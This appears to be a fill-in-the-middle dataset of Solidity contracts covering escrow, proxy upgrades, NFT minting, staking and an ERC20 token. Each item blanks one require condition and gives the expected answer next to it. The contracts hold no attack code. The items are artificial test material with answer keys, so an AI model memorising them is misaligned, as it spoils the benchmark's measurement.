* @notice Call `_initialize_ defined by the Implementation to initialize any storage variables.
* @dev Can only be called by Proxy.
*/
function initialize() external onlyProxy {
}
/**
* @notice Override this function for Implementation to migrate any storage variables between different implementation versions if needed.
* @dev Can only be called by Proxy.
*/
function _migrate() internal virtual onlyProxy {}
/**
* @notice Call `_migrate` defined by the Implementation to migrate any storage variables. Call `upgrade` function on itself to ensure the this contract is the latest version.
* @dev Can only be called by Proxy.
*/
function applyUpgrade() external onlyProxy {
}
/**
* @notice Perform an upgrade from the current implementation contract to a next one specified in a current Implementation. Also calls `applyUpgrade` on a next implementation.
* @dev Require called to be Proxy Maintainer. Can only be called by Proxy.
*/
function upgrade() public onlyMaintainer onlyProxy {
}
}
| address(nextImplementation)!=address(0)&&address(nextImplementation)!=__self,'Invalid nextImplementation supplied' | 255,477 | address(nextImplementation)!=address(0)&&address(nextImplementation)!=__self |
"Invalid signer or signature" | // SPDX-License-Identifier: UNLICENCED
pragma solidity ^0.8.0;
import "./ECDSA.sol";
import "./AccessControl.sol";
abstract contract DruzhbaStateMachine is AccessControl {
enum DealState {
ZERO,
START,
PAYMENT_COMPLETE,
DISPUTE,
CANCELED_ARBITER,
CANCELED_TIMEOUT_ARBITER,
CANCELED_BUYER,
CANCELED_SELLER,
CLEARED_SELLER,
CLEARED_ARBITER
}
bytes32 public constant ARBITER_ROLE = keccak256("ARBITER_ROLE");
bytes32 public constant SIGNER_ROLE = keccak256("SIGNER_ROLE");
bytes32 private constant EIP712_DOMAIN_TYPEHASH = keccak256(abi.encodePacked("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"));
bytes32 private constant ACCEPT_DEAL_TYPEHASH = keccak256(abi.encodePacked("AcceptDeal(address token,address seller,address buyer,uint256 amount,uint256 fee,uint256 nonce,uint256 deadline)"));
bytes32 private DOMAIN_SEPARATOR;
mapping(bytes32 => DealState) public deals;
mapping(address => uint256) public fees;
struct DealData {
address token;
address seller;
address buyer;
uint256 amount;
uint256 fee;
uint256 nonce;
}
/***********************
+ Events +
***********************/
event StateChanged(bytes32 indexed dealHash, DealData deal, DealState state, address creator);
constructor(uint256 chainId, address _admin, address _signer) {
}
modifier isProperlySigned(
DealData calldata deal,
uint256 deadline,
bytes memory signature
) {
bytes32 _hash = acceptDealHash(deal, deadline);
address dealSigner = ECDSA.recover(_hash, signature);
require(<FILL_ME>)
require(block.timestamp < deadline, "Signature expired");
require(deal.seller != deal.buyer, "seller == buyer");
_;
}
modifier isValidStateTransfer(
DealData calldata deal,
DealState fromState,
DealState toState
) {
}
modifier onlyBuyer(DealData calldata deal) {
}
modifier onlySeller(DealData calldata deal) {
}
function startDealBuyer(DealData calldata deal, uint256 deadline, bytes memory signature) external
onlyBuyer(deal) isProperlySigned(deal, deadline, signature) returns (bytes32) {
}
function startDealSeller(DealData calldata deal, uint256 deadline, bytes memory signature) external
onlySeller(deal) isProperlySigned(deal, deadline, signature) returns (bytes32) {
}
function _startDeal(DealData calldata deal) internal returns (bytes32) {
}
function cancelTimeoutArbiter(DealData calldata deal) external
onlyRole(ARBITER_ROLE) isValidStateTransfer(deal, DealState.START, DealState.CANCELED_TIMEOUT_ARBITER) {
}
function cancelDealBuyer(DealData calldata deal) external
onlyBuyer(deal) isValidStateTransfer(deal, DealState.START, DealState.CANCELED_BUYER) {
}
function completePaymentBuyer(DealData calldata deal) external
onlyBuyer(deal) isValidStateTransfer(deal, DealState.START, DealState.PAYMENT_COMPLETE) {}
function clearDealSeller(DealData calldata deal) external
onlySeller(deal) isValidStateTransfer(deal, DealState.PAYMENT_COMPLETE, DealState.CLEARED_SELLER) {
}
function clearDisputeDealSeller(DealData calldata deal) external
onlySeller(deal) isValidStateTransfer(deal, DealState.DISPUTE, DealState.CLEARED_SELLER) {
}
function callHelpSeller(DealData calldata deal) external
onlySeller(deal) isValidStateTransfer(deal, DealState.PAYMENT_COMPLETE, DealState.DISPUTE) {}
function callHelpBuyer(DealData calldata deal) external
onlyBuyer(deal) isValidStateTransfer(deal, DealState.PAYMENT_COMPLETE, DealState.DISPUTE) {}
function cancelDealArbiter(DealData calldata deal) external
onlyRole(ARBITER_ROLE) isValidStateTransfer(deal, DealState.DISPUTE, DealState.CANCELED_ARBITER) {
}
function clearDealArbiter(DealData calldata deal) external
onlyRole(ARBITER_ROLE) isValidStateTransfer(deal, DealState.DISPUTE, DealState.CLEARED_ARBITER) {
}
function claim(address token) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function dealHash(DealData calldata deal) internal pure returns (bytes32) {
}
function acceptDealHash(DealData calldata deal, uint256 deadline) internal view returns (bytes32) {
}
function _transfer(address token, address _to, uint256 _value) internal virtual;
function _transferFrom(address token, address _from, address _to, uint256 _value) internal virtual;
}
| hasRole(SIGNER_ROLE,dealSigner),"Invalid signer or signature" | 255,488 | hasRole(SIGNER_ROLE,dealSigner) |
"Wrong deal state or deal is missing" | // SPDX-License-Identifier: UNLICENCED
pragma solidity ^0.8.0;
import "./ECDSA.sol";
import "./AccessControl.sol";
abstract contract DruzhbaStateMachine is AccessControl {
enum DealState {
ZERO,
START,
PAYMENT_COMPLETE,
DISPUTE,
CANCELED_ARBITER,
CANCELED_TIMEOUT_ARBITER,
CANCELED_BUYER,
CANCELED_SELLER,
CLEARED_SELLER,
CLEARED_ARBITER
}
bytes32 public constant ARBITER_ROLE = keccak256("ARBITER_ROLE");
bytes32 public constant SIGNER_ROLE = keccak256("SIGNER_ROLE");
bytes32 private constant EIP712_DOMAIN_TYPEHASH = keccak256(abi.encodePacked("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"));
bytes32 private constant ACCEPT_DEAL_TYPEHASH = keccak256(abi.encodePacked("AcceptDeal(address token,address seller,address buyer,uint256 amount,uint256 fee,uint256 nonce,uint256 deadline)"));
bytes32 private DOMAIN_SEPARATOR;
mapping(bytes32 => DealState) public deals;
mapping(address => uint256) public fees;
struct DealData {
address token;
address seller;
address buyer;
uint256 amount;
uint256 fee;
uint256 nonce;
}
/***********************
+ Events +
***********************/
event StateChanged(bytes32 indexed dealHash, DealData deal, DealState state, address creator);
constructor(uint256 chainId, address _admin, address _signer) {
}
modifier isProperlySigned(
DealData calldata deal,
uint256 deadline,
bytes memory signature
) {
}
modifier isValidStateTransfer(
DealData calldata deal,
DealState fromState,
DealState toState
) {
bytes32 _hash = dealHash(deal);
require(<FILL_ME>)
deals[_hash] = toState;
_;
emit StateChanged(_hash, deal, toState, msg.sender);
}
modifier onlyBuyer(DealData calldata deal) {
}
modifier onlySeller(DealData calldata deal) {
}
function startDealBuyer(DealData calldata deal, uint256 deadline, bytes memory signature) external
onlyBuyer(deal) isProperlySigned(deal, deadline, signature) returns (bytes32) {
}
function startDealSeller(DealData calldata deal, uint256 deadline, bytes memory signature) external
onlySeller(deal) isProperlySigned(deal, deadline, signature) returns (bytes32) {
}
function _startDeal(DealData calldata deal) internal returns (bytes32) {
}
function cancelTimeoutArbiter(DealData calldata deal) external
onlyRole(ARBITER_ROLE) isValidStateTransfer(deal, DealState.START, DealState.CANCELED_TIMEOUT_ARBITER) {
}
function cancelDealBuyer(DealData calldata deal) external
onlyBuyer(deal) isValidStateTransfer(deal, DealState.START, DealState.CANCELED_BUYER) {
}
function completePaymentBuyer(DealData calldata deal) external
onlyBuyer(deal) isValidStateTransfer(deal, DealState.START, DealState.PAYMENT_COMPLETE) {}
function clearDealSeller(DealData calldata deal) external
onlySeller(deal) isValidStateTransfer(deal, DealState.PAYMENT_COMPLETE, DealState.CLEARED_SELLER) {
}
function clearDisputeDealSeller(DealData calldata deal) external
onlySeller(deal) isValidStateTransfer(deal, DealState.DISPUTE, DealState.CLEARED_SELLER) {
}
function callHelpSeller(DealData calldata deal) external
onlySeller(deal) isValidStateTransfer(deal, DealState.PAYMENT_COMPLETE, DealState.DISPUTE) {}
function callHelpBuyer(DealData calldata deal) external
onlyBuyer(deal) isValidStateTransfer(deal, DealState.PAYMENT_COMPLETE, DealState.DISPUTE) {}
function cancelDealArbiter(DealData calldata deal) external
onlyRole(ARBITER_ROLE) isValidStateTransfer(deal, DealState.DISPUTE, DealState.CANCELED_ARBITER) {
}
function clearDealArbiter(DealData calldata deal) external
onlyRole(ARBITER_ROLE) isValidStateTransfer(deal, DealState.DISPUTE, DealState.CLEARED_ARBITER) {
}
function claim(address token) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function dealHash(DealData calldata deal) internal pure returns (bytes32) {
}
function acceptDealHash(DealData calldata deal, uint256 deadline) internal view returns (bytes32) {
}
function _transfer(address token, address _to, uint256 _value) internal virtual;
function _transferFrom(address token, address _from, address _to, uint256 _value) internal virtual;
}
| deals[_hash]==fromState,"Wrong deal state or deal is missing" | 255,488 | deals[_hash]==fromState |
"storage slot collision" | // SPDX-License-Identifier: UNLICENCED
pragma solidity ^0.8.0;
import "./ECDSA.sol";
import "./AccessControl.sol";
abstract contract DruzhbaStateMachine is AccessControl {
enum DealState {
ZERO,
START,
PAYMENT_COMPLETE,
DISPUTE,
CANCELED_ARBITER,
CANCELED_TIMEOUT_ARBITER,
CANCELED_BUYER,
CANCELED_SELLER,
CLEARED_SELLER,
CLEARED_ARBITER
}
bytes32 public constant ARBITER_ROLE = keccak256("ARBITER_ROLE");
bytes32 public constant SIGNER_ROLE = keccak256("SIGNER_ROLE");
bytes32 private constant EIP712_DOMAIN_TYPEHASH = keccak256(abi.encodePacked("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"));
bytes32 private constant ACCEPT_DEAL_TYPEHASH = keccak256(abi.encodePacked("AcceptDeal(address token,address seller,address buyer,uint256 amount,uint256 fee,uint256 nonce,uint256 deadline)"));
bytes32 private DOMAIN_SEPARATOR;
mapping(bytes32 => DealState) public deals;
mapping(address => uint256) public fees;
struct DealData {
address token;
address seller;
address buyer;
uint256 amount;
uint256 fee;
uint256 nonce;
}
/***********************
+ Events +
***********************/
event StateChanged(bytes32 indexed dealHash, DealData deal, DealState state, address creator);
constructor(uint256 chainId, address _admin, address _signer) {
}
modifier isProperlySigned(
DealData calldata deal,
uint256 deadline,
bytes memory signature
) {
}
modifier isValidStateTransfer(
DealData calldata deal,
DealState fromState,
DealState toState
) {
}
modifier onlyBuyer(DealData calldata deal) {
}
modifier onlySeller(DealData calldata deal) {
}
function startDealBuyer(DealData calldata deal, uint256 deadline, bytes memory signature) external
onlyBuyer(deal) isProperlySigned(deal, deadline, signature) returns (bytes32) {
}
function startDealSeller(DealData calldata deal, uint256 deadline, bytes memory signature) external
onlySeller(deal) isProperlySigned(deal, deadline, signature) returns (bytes32) {
}
function _startDeal(DealData calldata deal) internal returns (bytes32) {
bytes32 _hash = dealHash(deal);
require(<FILL_ME>)
deals[_hash] = DealState.START;
_transferFrom(deal.token, deal.seller, address(this), deal.amount+deal.fee);
emit StateChanged(_hash, deal, DealState.START, msg.sender);
return _hash;
}
function cancelTimeoutArbiter(DealData calldata deal) external
onlyRole(ARBITER_ROLE) isValidStateTransfer(deal, DealState.START, DealState.CANCELED_TIMEOUT_ARBITER) {
}
function cancelDealBuyer(DealData calldata deal) external
onlyBuyer(deal) isValidStateTransfer(deal, DealState.START, DealState.CANCELED_BUYER) {
}
function completePaymentBuyer(DealData calldata deal) external
onlyBuyer(deal) isValidStateTransfer(deal, DealState.START, DealState.PAYMENT_COMPLETE) {}
function clearDealSeller(DealData calldata deal) external
onlySeller(deal) isValidStateTransfer(deal, DealState.PAYMENT_COMPLETE, DealState.CLEARED_SELLER) {
}
function clearDisputeDealSeller(DealData calldata deal) external
onlySeller(deal) isValidStateTransfer(deal, DealState.DISPUTE, DealState.CLEARED_SELLER) {
}
function callHelpSeller(DealData calldata deal) external
onlySeller(deal) isValidStateTransfer(deal, DealState.PAYMENT_COMPLETE, DealState.DISPUTE) {}
function callHelpBuyer(DealData calldata deal) external
onlyBuyer(deal) isValidStateTransfer(deal, DealState.PAYMENT_COMPLETE, DealState.DISPUTE) {}
function cancelDealArbiter(DealData calldata deal) external
onlyRole(ARBITER_ROLE) isValidStateTransfer(deal, DealState.DISPUTE, DealState.CANCELED_ARBITER) {
}
function clearDealArbiter(DealData calldata deal) external
onlyRole(ARBITER_ROLE) isValidStateTransfer(deal, DealState.DISPUTE, DealState.CLEARED_ARBITER) {
}
function claim(address token) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function dealHash(DealData calldata deal) internal pure returns (bytes32) {
}
function acceptDealHash(DealData calldata deal, uint256 deadline) internal view returns (bytes32) {
}
function _transfer(address token, address _to, uint256 _value) internal virtual;
function _transferFrom(address token, address _from, address _to, uint256 _value) internal virtual;
}
| deals[_hash]==DealState.ZERO,"storage slot collision" | 255,488 | deals[_hash]==DealState.ZERO |
"Authorization: user already has a proxy" | // SPDX-License-Identifier: agpl-3.0
pragma solidity 0.8.9;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {IAuthorizationManager, IAuthenticatedProxy} from "../interfaces/IAuthorizationManager.sol";
import {AuthenticatedProxy} from "./AuthenticatedProxy.sol";
contract AuthorizationManager is Ownable, IAuthorizationManager {
using Clones for address;
mapping(address => address) public override proxies;
address public immutable override authorizedAddress;
address public immutable WETH;
bool public override revoked;
address public immutable proxyImplemention;
event Revoked();
constructor(address _WETH, address _authorizedAddress) {
}
function revoke() external override onlyOwner {
}
function registerProxy() external override returns (address) {
}
function _registerProxyFor(address user) internal returns (address) {
require(<FILL_ME>)
address proxy = proxyImplemention.clone();
IAuthenticatedProxy(proxy).initialize(user, address(this), WETH);
proxies[user] = proxy;
return proxy;
}
}
| address(proxies[user])==address(0),"Authorization: user already has a proxy" | 255,609 | address(proxies[user])==address(0) |
"Cannot exceed max premint" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./PckrDronesInterface.sol";
import "./HpprsInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract PckrDronesOrchestrator is Ownable {
uint256 public dronesMintPrice = 0.05 ether;
uint256 public dronesPreMintPrice = 0.04 ether;
uint256 public tradeStart = 1677596400;
uint256 public premintStart = 1677682800;
uint256 public premintEnd = 1677769140;
uint256 public mintStart = 1677769200;
uint256 public maxPreMintsPerWallet = 2;
uint256 public maxMintsPerTransaction = 10;
address public secret = 0x9C17E0f19f6480747436876Cee672150d39426A5;
PckrDronesInterface public drones = PckrDronesInterface(0x25720B5936043ed7A322ac63459e65eCf4cDF501);
HpprsInterface public hpprs = HpprsInterface(0xE2609354791Bf57E54B3f7F9A26b2dacBed61DA1);
mapping(address => uint) public walletsPreMints;
event Mint(address owner, uint256 tokenAmount);
event Trade(address owner, uint256 tokenAmount);
function setSettings(
address _drones,
address _hpprs,
address _secret,
uint256 _dronesPreMintPrice,
uint256 _dronesMintPrice,
uint256 _maxPreMintsPerWallet,
uint256 _maxMintsPerTransaction,
uint256 _tradeStart,
uint256 _premintStart,
uint256 _premintEnd,
uint256 _mintStart
) external onlyOwner {
}
function setTimers(
uint256 _tradeStart,
uint256 _premintStart,
uint256 _premintEnd,
uint256 _mintStart) external onlyOwner {
}
function setSalePrices(uint256 _dronesPreMintPrice, uint256 _dronesMintPrice) external onlyOwner {
}
function preMintDrone(uint256 tokenAmount, bytes calldata signature) external payable {
require(block.timestamp >= premintStart && block.timestamp <= premintEnd, "Presale is closed");
require(<FILL_ME>)
require(msg.value == tokenAmount * dronesPreMintPrice, "Wrong ETH amount");
require(
_verifyHashSignature(keccak256(abi.encode(msg.sender)), signature),
"Signature is invalid"
);
walletsPreMints[msg.sender] += tokenAmount;
emit Mint(msg.sender, tokenAmount);
drones.airdrop(msg.sender, tokenAmount);
}
function mintDrone(uint256 tokenAmount) external payable {
}
function tradeDrone(uint256[] calldata hpprsIds) external {
}
function withdraw() external onlyOwner {
}
function _verifyHashSignature(bytes32 freshHash, bytes memory signature) internal view returns (bool)
{
}
}
| tokenAmount+walletsPreMints[msg.sender]<=maxPreMintsPerWallet,"Cannot exceed max premint" | 255,747 | tokenAmount+walletsPreMints[msg.sender]<=maxPreMintsPerWallet |
"Signature is invalid" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./PckrDronesInterface.sol";
import "./HpprsInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract PckrDronesOrchestrator is Ownable {
uint256 public dronesMintPrice = 0.05 ether;
uint256 public dronesPreMintPrice = 0.04 ether;
uint256 public tradeStart = 1677596400;
uint256 public premintStart = 1677682800;
uint256 public premintEnd = 1677769140;
uint256 public mintStart = 1677769200;
uint256 public maxPreMintsPerWallet = 2;
uint256 public maxMintsPerTransaction = 10;
address public secret = 0x9C17E0f19f6480747436876Cee672150d39426A5;
PckrDronesInterface public drones = PckrDronesInterface(0x25720B5936043ed7A322ac63459e65eCf4cDF501);
HpprsInterface public hpprs = HpprsInterface(0xE2609354791Bf57E54B3f7F9A26b2dacBed61DA1);
mapping(address => uint) public walletsPreMints;
event Mint(address owner, uint256 tokenAmount);
event Trade(address owner, uint256 tokenAmount);
function setSettings(
address _drones,
address _hpprs,
address _secret,
uint256 _dronesPreMintPrice,
uint256 _dronesMintPrice,
uint256 _maxPreMintsPerWallet,
uint256 _maxMintsPerTransaction,
uint256 _tradeStart,
uint256 _premintStart,
uint256 _premintEnd,
uint256 _mintStart
) external onlyOwner {
}
function setTimers(
uint256 _tradeStart,
uint256 _premintStart,
uint256 _premintEnd,
uint256 _mintStart) external onlyOwner {
}
function setSalePrices(uint256 _dronesPreMintPrice, uint256 _dronesMintPrice) external onlyOwner {
}
function preMintDrone(uint256 tokenAmount, bytes calldata signature) external payable {
require(block.timestamp >= premintStart && block.timestamp <= premintEnd, "Presale is closed");
require(tokenAmount + walletsPreMints[msg.sender] <= maxPreMintsPerWallet, "Cannot exceed max premint");
require(msg.value == tokenAmount * dronesPreMintPrice, "Wrong ETH amount");
require(<FILL_ME>)
walletsPreMints[msg.sender] += tokenAmount;
emit Mint(msg.sender, tokenAmount);
drones.airdrop(msg.sender, tokenAmount);
}
function mintDrone(uint256 tokenAmount) external payable {
}
function tradeDrone(uint256[] calldata hpprsIds) external {
}
function withdraw() external onlyOwner {
}
function _verifyHashSignature(bytes32 freshHash, bytes memory signature) internal view returns (bool)
{
}
}
| _verifyHashSignature(keccak256(abi.encode(msg.sender)),signature),"Signature is invalid" | 255,747 | _verifyHashSignature(keccak256(abi.encode(msg.sender)),signature) |
"Not HPPR owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./PckrDronesInterface.sol";
import "./HpprsInterface.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract PckrDronesOrchestrator is Ownable {
uint256 public dronesMintPrice = 0.05 ether;
uint256 public dronesPreMintPrice = 0.04 ether;
uint256 public tradeStart = 1677596400;
uint256 public premintStart = 1677682800;
uint256 public premintEnd = 1677769140;
uint256 public mintStart = 1677769200;
uint256 public maxPreMintsPerWallet = 2;
uint256 public maxMintsPerTransaction = 10;
address public secret = 0x9C17E0f19f6480747436876Cee672150d39426A5;
PckrDronesInterface public drones = PckrDronesInterface(0x25720B5936043ed7A322ac63459e65eCf4cDF501);
HpprsInterface public hpprs = HpprsInterface(0xE2609354791Bf57E54B3f7F9A26b2dacBed61DA1);
mapping(address => uint) public walletsPreMints;
event Mint(address owner, uint256 tokenAmount);
event Trade(address owner, uint256 tokenAmount);
function setSettings(
address _drones,
address _hpprs,
address _secret,
uint256 _dronesPreMintPrice,
uint256 _dronesMintPrice,
uint256 _maxPreMintsPerWallet,
uint256 _maxMintsPerTransaction,
uint256 _tradeStart,
uint256 _premintStart,
uint256 _premintEnd,
uint256 _mintStart
) external onlyOwner {
}
function setTimers(
uint256 _tradeStart,
uint256 _premintStart,
uint256 _premintEnd,
uint256 _mintStart) external onlyOwner {
}
function setSalePrices(uint256 _dronesPreMintPrice, uint256 _dronesMintPrice) external onlyOwner {
}
function preMintDrone(uint256 tokenAmount, bytes calldata signature) external payable {
}
function mintDrone(uint256 tokenAmount) external payable {
}
function tradeDrone(uint256[] calldata hpprsIds) external {
require(block.timestamp >= tradeStart, "Trade is closed");
for (uint256 i = 0; i < hpprsIds.length; i++) {
require(<FILL_ME>)
hpprs.burn(hpprsIds[i]);
}
emit Trade(msg.sender, hpprsIds.length * 2);
drones.airdrop(msg.sender, hpprsIds.length * 2);
}
function withdraw() external onlyOwner {
}
function _verifyHashSignature(bytes32 freshHash, bytes memory signature) internal view returns (bool)
{
}
}
| hpprs.ownerOf(hpprsIds[i])==msg.sender,"Not HPPR owner" | 255,747 | hpprs.ownerOf(hpprsIds[i])==msg.sender |
"The address is already participating in staking" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
contract StackingContract is Ownable {
struct Tier {
uint256 apy;
uint256 minAmount;
}
Tier[] public tiers;
struct Stake {
uint256 amount;
Tier[] tiers;
uint256 tierDuration;
uint256 stakedAt;
}
mapping(address => Stake) public stakes;
bool public started;
IERC20 public token;
uint256 public tierDuration;
uint256 public maxStakingAmount;
uint256 public totalStackingAmount;
uint256 public totalRewardsAmount;
constructor(address token_, uint256 tiersCount) {
}
function configure(uint256 tierDuration_, Tier[] memory tiers_, uint256 maxStakingAmount_) external onlyOwner {
}
function start() external onlyOwner {
}
function stake(uint256 amount) external returns (bool) {
require(started, "Stacking has not started yet");
require(<FILL_ME>)
require(amount >= tiers[tiers.length - 1].minAmount, "The amount is less than the minimum amount for participation");
require(amount + totalStackingAmount <= maxStakingAmount, "The amount is greater than the maximum total amount for stacking");
if (token.transferFrom(msg.sender, address(this), amount)) {
Stake storage s = stakes[msg.sender];
s.amount = amount;
s.tiers = tiers;
s.tierDuration = tierDuration;
s.stakedAt = block.timestamp;
totalStackingAmount += amount;
return true;
}
return false;
}
function rewardIndex(address staker) public view returns (uint) {
}
function reward(address staker) public view returns (uint) {
}
function unstake() external {
}
function withdraw(IERC20 token_) external onlyOwner {
}
}
| stakes[msg.sender].stakedAt==0,"The address is already participating in staking" | 255,761 | stakes[msg.sender].stakedAt==0 |
"The amount is greater than the maximum total amount for stacking" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
contract StackingContract is Ownable {
struct Tier {
uint256 apy;
uint256 minAmount;
}
Tier[] public tiers;
struct Stake {
uint256 amount;
Tier[] tiers;
uint256 tierDuration;
uint256 stakedAt;
}
mapping(address => Stake) public stakes;
bool public started;
IERC20 public token;
uint256 public tierDuration;
uint256 public maxStakingAmount;
uint256 public totalStackingAmount;
uint256 public totalRewardsAmount;
constructor(address token_, uint256 tiersCount) {
}
function configure(uint256 tierDuration_, Tier[] memory tiers_, uint256 maxStakingAmount_) external onlyOwner {
}
function start() external onlyOwner {
}
function stake(uint256 amount) external returns (bool) {
require(started, "Stacking has not started yet");
require(stakes[msg.sender].stakedAt == 0, "The address is already participating in staking");
require(amount >= tiers[tiers.length - 1].minAmount, "The amount is less than the minimum amount for participation");
require(<FILL_ME>)
if (token.transferFrom(msg.sender, address(this), amount)) {
Stake storage s = stakes[msg.sender];
s.amount = amount;
s.tiers = tiers;
s.tierDuration = tierDuration;
s.stakedAt = block.timestamp;
totalStackingAmount += amount;
return true;
}
return false;
}
function rewardIndex(address staker) public view returns (uint) {
}
function reward(address staker) public view returns (uint) {
}
function unstake() external {
}
function withdraw(IERC20 token_) external onlyOwner {
}
}
| amount+totalStackingAmount<=maxStakingAmount,"The amount is greater than the maximum total amount for stacking" | 255,761 | amount+totalStackingAmount<=maxStakingAmount |
"The address is not participating in staking" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
contract StackingContract is Ownable {
struct Tier {
uint256 apy;
uint256 minAmount;
}
Tier[] public tiers;
struct Stake {
uint256 amount;
Tier[] tiers;
uint256 tierDuration;
uint256 stakedAt;
}
mapping(address => Stake) public stakes;
bool public started;
IERC20 public token;
uint256 public tierDuration;
uint256 public maxStakingAmount;
uint256 public totalStackingAmount;
uint256 public totalRewardsAmount;
constructor(address token_, uint256 tiersCount) {
}
function configure(uint256 tierDuration_, Tier[] memory tiers_, uint256 maxStakingAmount_) external onlyOwner {
}
function start() external onlyOwner {
}
function stake(uint256 amount) external returns (bool) {
}
function rewardIndex(address staker) public view returns (uint) {
}
function reward(address staker) public view returns (uint) {
}
function unstake() external {
require(<FILL_ME>)
uint r = reward(msg.sender);
totalStackingAmount -= stakes[msg.sender].amount;
totalRewardsAmount += r;
stakes[msg.sender].stakedAt = 0;
token.transfer(msg.sender, stakes[msg.sender].amount + r);
}
function withdraw(IERC20 token_) external onlyOwner {
}
}
| stakes[msg.sender].stakedAt>0,"The address is not participating in staking" | 255,761 | stakes[msg.sender].stakedAt>0 |
"d2o/not-authorized" | // SPDX-License-Identifier: AGPL-3.0-or-later
/// d2o.sol -- d2o token
pragma solidity ^0.8.7;
contract d2o {
address public ArchAdmin;
mapping (address => uint256) public admins;
// --- ERC20 Data ---
string public constant name = "Deuterium";
string public constant symbol = "d2o";
string public constant version = "1";
uint8 public constant decimals = 18;
uint256 public totalSupply;
uint256 public live;
uint256 public transferBlockWait; //Amount of blocks to wait before user can transfer d2o after minting cross-chain
uint256 public lockupTriggerAmt; //d2o amount where lockup will kick in after cross-chain transfer
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => uint256) public nonces;
mapping (address => uint256) public transferBlockRelease; //Block number after which user is able to transfer d2o
// --- Events ---
event Rely(address indexed usr);
event Deny(address indexed usr);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event TransferBlockWait(uint256 blockWait);
event TransferBlockUpdate(address indexed user, uint256 blockNumer);
event LockupTriggerAmount(uint256 amount);
event Cage(uint256 status);
// --- EIP712 niceties ---
uint256 public immutable deploymentChainId;
bytes32 private immutable _DOMAIN_SEPARATOR;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
modifier auth {
require(<FILL_ME>)
_;
}
modifier alive {
}
constructor() {
}
function _calculateDomainSeparator(uint256 chainId) private view returns (bytes32) {
}
function DOMAIN_SEPARATOR() external view returns (bytes32) {
}
// --- Administration ---
function setArchAdmin(address newArch) external auth {
}
function rely(address usr) external auth {
}
function deny(address usr) external auth {
}
function cage(uint256 _live) external auth {
}
function setTransferBlockWait(uint256 num) external auth {
}
function setTransferBlockRelease(address user, uint256 blockNumber) external auth {
}
function setLockupTriggerAmount(uint256 amount) external auth {
}
// --- ERC20 Mutations ---
function transfer(address to, uint256 value) external alive returns (bool) {
}
function transferFrom(address from, address to, uint256 value) external alive returns (bool) {
}
function approve(address spender, uint256 value) external returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
}
function decreaseAllowanceAdmin(address owner, address spender, uint256 subtractedValue) external auth returns (bool) {
}
function _decreaseAllowance(address owner, address spender, uint256 subtractedValue) internal returns (bool) {
}
// --- Mint/Burn ---
function mint(address to, uint256 value) external auth {
}
function mintAndDelay(address to, uint256 value) external auth {
}
function _mint(address to, uint256 value) internal alive {
}
